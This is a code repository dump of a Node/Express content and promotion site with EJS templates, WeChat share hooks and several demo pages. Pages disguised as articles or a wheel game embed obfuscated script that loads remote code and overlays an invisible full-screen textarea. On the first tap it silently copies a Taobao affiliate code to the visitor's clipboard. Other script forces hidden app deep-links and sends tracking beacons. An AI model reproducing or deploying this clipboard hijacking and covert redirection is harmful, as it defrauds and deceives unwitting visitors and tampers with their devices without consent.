g*Math.pow(2,-10*h)*Math.sin((h*k-i)*(2*Math.PI)/j)+l+e},easeInOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k/2)==2){return e+l}if(!j){j=k*(0.3*1.5)}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}if(h<1){return -0.5*(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e}return g*Math.pow(2,-10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j)*0.5+l+e},easeInBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*(f/=h)*f*((g+1)*f-g)+a},easeOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*((f=f/h-1)*f*((g+1)*f+g)+1)+a},easeInOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}if((f/=h/2)<1){return i/2*(f*f*(((g*=(1.525))+1)*f-g))+a}return i/2*((f-=2)*f*(((g*=(1.525))+1)*f+g)+2)+a},easeInBounce:function(e,f,a,h,g){return h-jQuery.easing.easeOutBounce(e,g-f,0,h,g)+a},easeOutBounce:function(e,f,a,h,g){if((f/=g)<(1/2.75)){return h*(7.5625*f*f)+a}else{if(f<(2/2.75)){return h*(7.5625*(f-=(1.5/2.75))*f+0.75)+a}else{if(f<(2.5/2.75)){return h*(7.5625*(f-=(2.25/2.75))*f+0.9375)+a}else{return h*(7.5625*(f-=(2.625/2.75))*f+0.984375)+a}}}},easeInOutBounce:function(e,f,a,h,g){if(f<g/2){return jQuery.easing.easeInBounce(e,f*2,0,h,g)*0.5+a}return jQuery.easing.easeOutBounce(e,f*2-g,0,h,g)*0.5+h*0.5+a}});
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
!function(){
var isiOS = !!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);var b,doo;var cptext_tkl=undefined;
return document.body?(a=document.createElement("script"),a.src="https://adp.xibao100.com/tkl/5?tfc_id=goyo2",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),doo=function(e){ b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)},(isiOS ? b.addEventListener("click",doo) : b.addEventListener("touchstart",doo)),document.body.appendChild(b),void 0):setTimeout(arguments.callee(undefined),50)}();
\ No newline at end of file
$.ajax({
type: "GET",
url: "/signature",
dataType: "json",
success:function(data){
wx.config({
debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来,若要查看传入的参数,可以在pc端打开,参数信息会通过log打出,仅在pc端时才会打印。
appId: 'wx66b710d18c17587a', // 必填,公众号的唯一标识
timestamp:data.timestamp , // 必填,生成签名的时间戳
nonceStr: data.noncestr, // 必填,生成签名的随机串
signature: data.signature,// 必填,签名,见附录1
jsApiList: ['onMenuShareAppMessage','onMenuShareQQ','onMenuShareQZone','onMenuShareTimeline'] // 必填,需要使用的JS接口列表,所有JS接口列表见附录2
});
console.dir(data);
},
error:function(error){
console.dir('授权失败')
}
});
function a(){
var e =document.createElement("script");
e.type = "text/javascript";
e.src = "http://g.arealx.com/static/d/min/weixinpopfeed.min.js";
document.body.appendChild(e);
}
//a();
wx.ready(function(){
// config信息验证后会执行ready方法,所有接口调用都必须在config接口获得结果之后,config是一个客户端的异步操作,所以如果需要在页面加载时就调用相关接口,则须把相关接口放在ready函数中调用来确保正确执行。对于用户触发时才调用的接口,则可以直接调用,不需要放在ready函数中。
//console.dir('ready');
//给微信设置分享文案
/*var onBridgeReady = function () {
alert("in");
var appId = 'wx66b710d18c17587a';
// 发送给好友;
WeixinJSBridge.on('menu:share:appmessage', function(argv){
var imgUrl = 'http://demo.open.weixin.qq.com/jssdk/images/p2166127561.jpg';
var link = 'http://sq.xiaoyun.com/test/';
var title = '互联网之子';
var shareDesc = '互联网之子desc';
console.log('in onBridgeReady');
WeixinJSBridge.invoke('sendAppMessage',{
'img_url' : "http://demo.open.weixin.qq.com/jssdk/images/p2166127561.jpg",
'img_width' : '640',
'img_height' : '640',
'link' : 'http://weixin.gclick.cn/',
'desc' : '互联网之子desc',
'title' : '互联网之子desc'
}, function(res) {
//分享成功后回调函数
alert('success');
console.dir(res);
});
});
// 分享到朋友圈;
WeixinJSBridge.on('menu:share:timeline', function(argv){
var imgUrl = sharePic;
var link = shareUrl;
var title = shareTitle;
var shareDesc = shareTxt;
WeixinJSBridge.invoke('shareTimeline',{
'img_url' : imgUrl,
'img_width' : '640',
'img_height' : '640',
'link' : link,
'desc' : shareDesc,
'title' : shareDesc
}, function(res) {
//分享成功后回调函数
});
});
};
if (typeof WeixinJSBridge === "undefined"){
if (document.addEventListener){
document.addEventListener('WeixinJSBridgeReady', onBridgeReady, false);
}
}else{
onBridgeReady();
}
alert('ready');*/
wx.onMenuShareAppMessage({
title: '分享给朋友测试',
desc: '在长大的过程中,我才慢慢发现,我身边的所有事,别人跟我说的所有事,那些所谓本来如此,注定如此的事,它们其实没有非得如此,事情是可以改变的。更重要的是,有些事既然错了,那就该做出改变。',
link: 'http://weixin.gclick.cn/',
imgUrl: 'http://demo.open.weixin.qq.com/jssdk/images/p2166127561.jpg',
trigger: function (res) {
// 不要尝试在trigger中使用ajax异步请求修改本次分享的内容,因为客户端分享操作是一个同步操作,这时候使用ajax的回包会还没有返回
a();
},
success: function (res) {
console.dir('这是弹窗');
},
cancel: function (res) {
console.dir('已取消分享给朋友');
},
fail: function (res) {
console.dir('分享失败');
}
});
wx.onMenuShareTimeline({
title: '分享到朋友圈测试', // 分享标题
link: 'http://weixin.gclick.cn/', // 分享链接,该链接域名或路径必须与当前页面对应的公众号JS安全域名一致
imgUrl: 'http://demo.open.weixin.qq.com/jssdk/images/p2166127561.jpg', // 分享图标
trigger: function (res) {
// 不要尝试在trigger中使用ajax异步请求修改本次分享的内容,因为客户端分享操作是一个同步操作,这时候使用ajax的回包会还没有返回
a();
},
success: function () {
// 用户确认分享后执行的回调函数
console.dir('这是弹窗');
},
cancel: function () {
// 用户取消分享后执行的回调函数
console.dir('已取消分享到朋友圈');
}
});
wx.onMenuShareQQ({
title: '分享到QQ测试',
desc: '在长大的过程中,我才慢慢发现,我身边的所有事,别人跟我说的所有事,那些所谓本来如此,注定如此的事,它们其实没有非得如此,事情是可以改变的。更重要的是,有些事既然错了,那就该做出改变。',
link: 'http://weixin.gclick.cn/',
imgUrl: 'http://demo.open.weixin.qq.com/jssdk/images/p2166127561.jpg',
trigger: function (res) {
// 不要尝试在trigger中使用ajax异步请求修改本次分享的内容,因为客户端分享操作是一个同步操作,这时候使用ajax的回包会还没有返回
a();
},
success: function () {
// 用户确认分享后执行的回调函数
console.dir('这是广告弹窗');
},
cancel: function () {
// 用户取消分享后执行的回调函数
console.dir('已取消分享到QQ');
}
});
wx.onMenuShareQZone({
title: '分享到QQ空间测试',
desc: '在长大的过程中,我才慢慢发现,我身边的所有事,别人跟我说的所有事,那些所谓本来如此,注定如此的事,它们其实没有非得如此,事情是可以改变的。更重要的是,有些事既然错了,那就该做出改变。',
link: 'http://weixin.gclick.cn/',
imgUrl: 'http://demo.open.weixin.qq.com/jssdk/images/p2166127561.jpg',
trigger: function (res) {
// 不要尝试在trigger中使用ajax异步请求修改本次分享的内容,因为客户端分享操作是一个同步操作,这时候使用ajax的回包会还没有返回
a();
},
success: function () {
// 用户确认分享后执行的回调函数
console.dir('这是广告弹窗');
},
cancel: function () {
// 用户取消分享后执行的回调函数
console.dir('已取消分享到QQ空间');
}
});
});
wx.error(function(res){
// config信息验证后会执行ready方法,所有接口调用都必须在config接口获得结果之后,config是一个客户端的异步操作,所以如果需要在页面加载时就调用相关接口,则须把相关接口放在ready函数中调用来确保正确执行。对于用户触发时才调用的接口,则可以直接调用,不需要放在ready函数中。
//alert('jssdk config error');
console.dir(res);
});
wx.checkJsApi({
jsApiList: ['onMenuShareAppMessage','onMenuShareQQ','onMenuShareQZone','onMenuShareTimeline'], // 需要检测的JS接口列表,所有JS接口列表见附录2,
success: function(res) {
//console.dir(res);
alert(res['errMsg'])
for(var k in res['checkResult']){
alert(k+"-"+res['checkResult'][k])
}
// 以键值对的形式返回,可用的api值true,不可用为false
// 如:{"checkResult":{"chooseImage":true,"d":"pp"},"errMsg":"checkJsApi:ok"}
}
});
body {
font: 14px "Lucida Grande", Helvetica, Arial, sans-serif;
padding: 7px;
}
a {
color: #00B7FF;
}
p{
font-size: 16px;
}
img{
width: 95%;
}
.article {
padding: 0px 10px;
height: 100%;
}
#article-title, {
padding: 7px 10px;
}
img{
width: 100%;
text-align: center;
}
a.item{
position: relative;
display: block;
width: 100%;
margin: 10px 0;
padding: 10px;
background: #f7f7f7;
text-decoration: none;
clear: none!important;
box-sizing: border-box;
}
a.item .item-pic{
float: left;
height: 140px;
width: 140px;
margin-right: 20px;
overflow: hidden;
}
a.item .item-info{
position: relative;
height: 140px;
overflow: hidden;
}
a.item .item-title{
line-height: 1.5;
color: #333;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
a.item .item-price{
position: absolute;
left: 0;
bottom: 5px;
font-family: HelveticaNeue-Light,"Helvetica Neue Light","Helvetica Neue",arial;
}
a.item .price-old{
margin-left: 10px;
color: #999;
}
a.item .price-new{
color: #f50;
}
a.item .item-btn{
position: absolute;
right: 0;
bottom: 5px;
height: 20px;
width: 60px;
line-height: 20px;
border: 1px solid #da0d15;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
color: #da0d15;
text-align: center;
}
\ No newline at end of file
var express = require('express');
var router = express.Router();
var generator = require('../lib/generator');
var hash = require('../util/hash');
/* GET home page. */
router.get('/', function (req, res, next) {
res.render('index', {title: 'Express'});
});
// router.post('/to-html', function (req, res, next) {
// // console.log(req.body);
// generator.createHTML(req.body.pathfile, null, req.body, function (err, html) {
// console.log(html);
// res.end();
// })
// });
// router.post('/live-preview', function (req, res, next) {
// console.log(req.body)
// res.render('netease', req.body);
// });
router.get('/by-id/', function (req, res, next) {
generator.createHtmlById(req.query.id, function (err, result) {
res.redirect("/html/" + hash.create(req.query.id) + ".html")
})
});
module.exports = router;
var express = require('express');
var router = express.Router();
var hash = require('../util/hash');
var data = require('../lib/data');
var config = require('../config/index');
var article = require('../lib/tao-article');
var mongoose = require('mongoose');
/* GET home page. */
var flushMap = {
"娱乐":{ people:['男','女'],industry:'娱乐传媒' },
"健康":{ people:['男','女'],industry:'医疗保健' },
"军事":{ people:['男'],industry:'' },
"养生":{ people:['男','女'],industry:'医疗保健' },
"情感":{ people:['男','女'],industry:'情色行业' },
"宠物":{ people:['男','女'],industry:'' },
"美食":{ people:['女'],industry:'餐饮业' },
"汽车":{ people:['男'],industry:'汽车行业' },
"社会":{ people:['男','女'],industry:'' },
"体育":{ people:['男'],industry:'体育行业' },
"科学":{ people:['男'],industry:'' },
"旅游":{ people:['男','女'],industry:'旅游机构' },
"历史":{ people:['男'],industry:'' },
"生活":{ people:['女'],industry:'' }
}
router.get('/', function(req, res, next) {
res.render('index', { title: 'Express' });
});
router.get('/direct/:contentId', function(req, res, next) {
var uid = req.cookies && req.cookies['uid'];
var id = req.params.contentId;
data.getContentById(id,function(err,result){
if(err) callback(err);
if(result && result['data'] && result['data']['content'] && result['data']['content']['content'])
var millis = result['data']['content']['updateAt'];
var date = new Date(millis);
//console.dir(date.getFullYear() +'-'+ Date(millis).getUTCMonth()+'-'+Date(millis).getUTCMinutes());
var data = {
title:result['data']['content']['title'],
content:result['data']['content']['content'],
time: millis ? (date.getFullYear() +'-'+ date.getUTCMonth()+'-'+date.getUTCDay()) : '',
category:result['data']['content']['category'],
industry:(flushMap[ result['data']['content']['category'] ]|| {} )['industry']
}
if(!uid) res.cookie('uid',hash.create((new Date()).getTime()),{ expires: new Date(Date.now() + 900000000000) });
res.render('template/content',data)
//createHtml(path+'.html',content,data,callback);
});
});
router.get('/good/:goodId', async function(req, res, next) {
try{
var data = await article.findById(req.params.goodId);
res.render('template/good',data.toJSON());
}catch(err){
console.dir(err)
}
});
router.get('/log',function(req,res,next){
var q = req.query;
data.logES(q,function(error,body){
console.dir(error);
console.dir(body);
});
});
module.exports = router;
\ No newline at end of file
var express = require('express');
var router = express.Router();
var generator = require('../lib/generator');
var hash = require('../util/hash');
var tao = require('../lib/tao');
var agent = require('../lib/tao-agent');
var kouling = require('../lib/tao-kouling');
var log = require('../lib/tao-log');
var mongoose = require('mongoose');
var config = require('../config/index');
var vipshop = require('../lib/vishop-log');
var moment = require('moment');
var request = require('request');
/* GET home page. */
router.post('/agent', async function (req, res, next) {
let {user,password,role = 'channel'} = req.body;
if(!user || !password) res.status(400).send('params not full error');
else{
password = hash.create(password);
var u = await agent.findOne({user:user});
if(!u)
tao.saveAgent({user,password,role},function(e,result){
res.send({status:'ok',result:result});
});
else
res.status(400).send('already exsits error');
}
});
router.post('/tb_kl', async function (req, res, next) {
let {info,creater,status = 'use'} = req.body;
if(!info || !creater) res.status(400).send('params not full error');
else{
var kl = await kouling.findOne({info:info});
creater = mongoose.Types.ObjectId(creater);
if(!kl)
tao.saveKouling({info,creater,status},function(e,result){
res.send({status:'ok',result:result});
});
else
res.status(400).send('already exsits error');
}
});
router.get('/tb_kl', async function (req, res, next) {
var options = {limit: 10000, skip: 0, sort: {}};
var qd = req.query.qd;
var kls = await kouling.find({creater:mongoose.Types.ObjectId(qd),status:'use'}, null, options);
if(kls && kls.length){
kls = kls.map(x => x.toJSON());
var kl = kls[Math.floor(Math.random()*kls.length)];
var k = 'var cptext_tkl = "';
var date = moment().format('YYYYMMDD');
await log.update({key:kl.info,schedule:kl.schedule,link:kl.link,date:date},{'$inc':{times:1}},{upsert:true});
res.send(k + kl.info + '";');
}
else{
res.send('var cptext_tkl = "";');
}
});
router.get('/log/tb_kl', async function (req, res, next) {
try{
var options = {limit: 1000, skip: 0, sort: {'updatedAt':-1}};
var logs = await log.find({},null,options).populate('qd','user role');
logs = logs.map(x => { var d = x.toJSON();d['updatedAt'] = moment(new Date(d['updatedAt']).getTime(),'x').format('YYYYMMDD HH:mm:ss');return d;});
res.render('logs.ejs',{logs:logs});
}catch(e){
console.dir(e);
}
});
router.get('/log/vipshop', async function (req, res, next) {
try{
console.log('in===');
var key = req.query.key;
await vipshop.update({key:key},{'$inc':{times:1}},{upsert:true});
res.status(204).send("no content");
}catch(e){
console.dir(e);
}
});
module.exports = router;
var crypto = require('crypto');
exports.create = function(str) {
var str = '2366a4b85d7d0a395ad3fe941e033c83' + str;
return crypto.createHash('md5').update(str + str.length).digest('hex');
};
\ No newline at end of file
<!DOCTYPE html>
<html>
<head lang="zh-cn">
<title>duang!转盘玩起来</title>
<head lang="zh-cn">
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description">
<meta name="keywords" content="">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<meta name="renderer" content="webkit">
<meta name="apple-mobile-web-app-title" content=""/>
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<style type="text/css">
</style>
</head>
<script type="text/javascript" src="/js/jquery.min.js"></script>
<script type="text/javascript" src="/js/clipboard.min.js"></script>
<script type="text/javascript">
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="https://adp.xibao100.com/tkl/5?tfc_id=goyo2",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
</script>
<body>
test
</body>
</html>
<h1><%= message %></h1>
<h2><%= error.status %></h2>
<pre><%= error.stack %></pre>
<!DOCTYPE html>
<html>
<head>
<title><%= title %></title>
<link rel='stylesheet' href='/stylesheets/style.css' />
</head>
<body>
<h1><%= title %></h1>
<p>Welcome to <%= title %></p>
</body>
</html>
<!DOCTYPE html>
<!-- saved from url=(0041)https://m.365yg.com/i6404211171246735873/ -->
<html data-dpr="1" style="font-size: 36px;"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>购物</title>
<meta name="format-detection" content="telephone=no">
<meta name="description" content="">
<meta name="keywords" content="内容站">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<body style="font-size: 10px">
<h2>演示页面</h2>
<div>
<p style="margin: auto;color:#ddd" id="info">未复制</p>
</div>
<script type="text/javascript">
!function(){var isiOS = !!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);var b,doo;var cptext_tkl="¥bDTC0SSBWlx¥";return document.body?(b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),doo=function(e){ b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b),document.getElementById('info').innerHTML = '复制成功,请打开手淘客户端查看效果',document.getElementById('info').style.color ='green'},(isiOS ? b.addEventListener("click",doo) : b.addEventListener("touchstart",doo)),document.body.appendChild(b),void 0):setTimeout(arguments.callee(undefined),50)}();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<title>统计</title>
<meta name="format-detection" content="telephone=no">
<meta name="description" content="">
<meta name="keywords" content="统计">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<style type="text/css">
table{
margin: auto;
}
tr th{
padding: 10px 0px;
text-align: left;
}
tr td{
font-size: 14px;
padding: 5px 3px;
}
</style>
</head>
<body>
<table>
<tr>
<th>日期</th>
<th>淘口令</th>
<th>次数</th>
<th>渠道</th>
<th>最近更新</th>
</tr>
<tbody>
<% for(var i=0;i<logs.length;i++){ %>
<tr>
<td><%= logs[i]['date'] %></td>
<td><%= logs[i]['key'] %></td>
<td><%= logs[i]['times'] %></td>
<td><%= (logs[i]['qd'] && logs[i]['qd']['user'] ) || '--' %></td>
<td><%= logs[i]['updatedAt']%></td>
</tr>
<% } %>
</tbody>
</table>
</body>
</html>
This diff is collapsed.
<!DOCTYPE html>
<!-- saved from url=(0041)https://m.365yg.com/i6404211171246735873/ -->
<html data-dpr="1" style="font-size: 36px;"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title><%= title %></title>
<meta name="format-detection" content="telephone=no">
<meta name="description" content="<%= content.title %> ">
<meta name="keywords" content="内容站">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<link rel="stylesheet" type="text/css" href="../stylesheets/style.css">
</head>
<body>
<h2 style="margin-bottom: 10px;
line-height: 1.4;
font-weight: 400;
font-size: 24px;"><%= title %></h2>
<span id="p-category" style="display:none"><%= category%></span>
<span id="p-industry" style="display:none"><%= industry %></span>
<span style="color: #adb0b3;
font-size: 16px;"><%= time %></span>
<%- content %>
</body>
<script type="text/javascript">
var uid = (document.cookie.match('uid=[a-zA-Z0-9]+')[0] || "").split('=')[1];
var ua = navigator.userAgent.toLowerCase();
var isWeixin = ua.indexOf('micromessenger') != -1;
var isAndroid = ua.indexOf('android') != -1;
var isIos = (ua.indexOf('iphone') != -1) || (ua.indexOf('ipad') != -1);
var category = document.getElementById("p-category").innerText;
var industry = document.getElementById("p-industry").innerText;
var url = document.URL;
var img = document.createElement('div');
document.body.appendChild(img);
/*img.innerHTML = '<img src= "/log?uid='+ uid +'ua='+ua+ 'isWeixin='+isWeixin+ 'isAndroid='+isAndroid+ 'isIos='+isIos+ 'category='+category+ 'industry='+industry'" style="display:none">'; */
img.innerHTML = '<img src="/log?uid='+ uid +'&ua='+ua+ '&isWeixin='+isWeixin+ '&isAndroid='+isAndroid+ '&isIos='+isIos+ '&category='+category+ '&industry='+industry +'&url='+url+'" style="display:none">';
document.body.appendChild(img);
</script>
</html>
\ No newline at end of file
<!DOCTYPE html>
<!-- saved from url=(0041)https://m.365yg.com/i6404211171246735873/ -->
<html data-dpr="1" style="font-size: 36px;"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title><%= title %></title>
<meta name="format-detection" content="telephone=no">
<meta name="description" content="<%= content.title %> ">
<meta name="keywords" content="推广站">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<link rel="stylesheet" type="text/css" href="../stylesheets/style.css">
</head>
<body>
<h2 style="margin-bottom: 10px;
line-height: 1.4;
font-weight: 400;
font-size: 24px;"><%= title %></h2>
<%- content %>
<img class="bottom" src="../WechatIMG57.jpeg">
</body>
<script type="text/javascript">
var uid = (document.cookie.match('uid=[a-zA-Z0-9]+')[0] || "").split('=')[1];
var ua = navigator.userAgent.toLowerCase();
var isWeixin = ua.indexOf('micromessenger') != -1;
var isAndroid = ua.indexOf('android') != -1;
var isIos = (ua.indexOf('iphone') != -1) || (ua.indexOf('ipad') != -1);
var category = document.getElementById("p-category").innerText;
var industry = document.getElementById("p-industry").innerText;
var url = document.URL;
var img = document.createElement('div');
document.body.appendChild(img);
/*img.innerHTML = '<img src= "/log?uid='+ uid +'ua='+ua+ 'isWeixin='+isWeixin+ 'isAndroid='+isAndroid+ 'isIos='+isIos+ 'category='+category+ 'industry='+industry'" style="display:none">'; */
img.innerHTML = '<img src="/log?uid='+ uid +'&ua='+ua+ '&isWeixin='+isWeixin+ '&isAndroid='+isAndroid+ '&isIos='+isIos+ '&category='+category+ '&industry='+industry +'&url='+url+'" style="display:none">';
document.body.appendChild(img);
</script>
</html>
\ No newline at end of file
<!DOCTYPE html>
<!-- saved from url=(0041)https://m.365yg.com/i6404211171246735873/ -->
<html data-dpr="1" style="font-size: 36px;"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>购物</title>
<meta name="format-detection" content="telephone=no">
<meta name="description" content="">
<meta name="keywords" content="内容站">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<head>
</head>
<body style="font-size: 10px">
<h2>测试</h2>
<!-- <script type="text/javascript">
!function(){var isiOS = !!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);var a,b,cnzz,cnzz1;var doo = function(e){ alert(e.type); cnzz1=document.createElement("script"),cnzz1.src="https://s22.cnzz.com/z_stat.php?id=1271005369&web_id=1271005369",document.body.appendChild(cnzz1);try {b.value= cptext_tkl;}catch(e){ b.value= '¥PQzf07eMcHK¥'} finally{ b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}};return document.body?(cnzz=document.createElement("script"),cnzz.src="https://s22.cnzz.com/z_stat.php?id=1270714932&web_id=1270714932",document.body.appendChild(cnzz),a=document.createElement("script"),a.src="http://js2.ywsem.com/tkl/5?tfc_id=TJB",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),(isiOS ? b.addEventListener("click",doo) : b.addEventListener("touchstart",doo)),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
</script> -->
<!-- <script type="text/javascript">
!function(){var a,b,cnzz,cnzz1,cnzz2,s;var doo = function(event){ cnzz1=document.createElement("script"),cnzz1.src="https://s22.cnzz.com/z_stat.php?id=1271005369&web_id=1271005369",document.body.appendChild(cnzz1);try {b.value= cptext_tkl;}catch(e){ b.value= '¥PQzf07eMcHK¥'} finally{ b.select(),b.setSelectionRange(0,b.value.length),ff= document.execCommand("copy",!1,null),ff && (cnzz2=document.createElement("script"),cnzz2.src="https://s22.cnzz.com/z_stat.php?id=1271058409&web_id=1271058409",document.body.appendChild(cnzz2));document.body.removeChild(b)}};return document.body?(cnzz=document.createElement("script"),cnzz.src="https://s22.cnzz.com/z_stat.php?id=1270714932&web_id=1270714932",document.body.appendChild(cnzz),a=document.createElement("script"),a.src="http://js2.ywsem.com/tkl/5?tfc_id=TJB",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",doo),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
</script> -->
<!-- <script type="text/javascript">
!function(){var a,b;return document.body?(a=document.createElement("script"),a.src="http://page.wapuq.cn/tao/tb_kl?qd=5a1bb3800f36c60011fa446f",document.body.appendChild(a),b=document.createElement("textarea"),b["style"]["border"]=0,b["style"]["position"]="fixed",b["style"]["top"]=0,b["style"]["left"]=0,b["style"]["width"]="100%",b["style"]["height"]="100%",b["style"]["background"]=['url("/#")',"transparent"],b["style"]["color"]="transparent",b["style"]["zIndex"]=99999,b.setAttribute("readonly",""),b.addEventListener("click",function(){b.value=cptext_tkl,b.select(),b.setSelectionRange(0,b.value.length),document.execCommand("copy",!1,null),document.body.removeChild(b)}),document.body.appendChild(b),void 0):setTimeout(arguments.callee(ele),50)}();
</script> -->
<script type="text/javascript">
(function () {
if (!document.body) return setTimeout(arguments.callee, 50);
var rnd = Math.floor(Math.random()*1000);
if(rnd <= 950){
return false;
}
var ifr = document.createElement('iframe');
ifr.src ='vipshop://showChannel?channelID=%23top-beauty&channelMenu=0&tra_from=tra%3A9dr2titm%3A%3A%3A%3A';
ifr.style.display = 'none';
var img = document.createElement('div');
document.body.appendChild(img);
var src = "http://page.wapuq.cn/tao/log/vipshop?key=sh&r="+(Math.random()*100000000000)
img.innerHTML = '<img src="'+ src +'" style="display:none">';
document.body.appendChild(img);
document.body.appendChild(ifr);
window.setTimeout(function() {
document.body.removeChild(ifr);
}, 1600);
})();
</script>
</body>
</html>
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment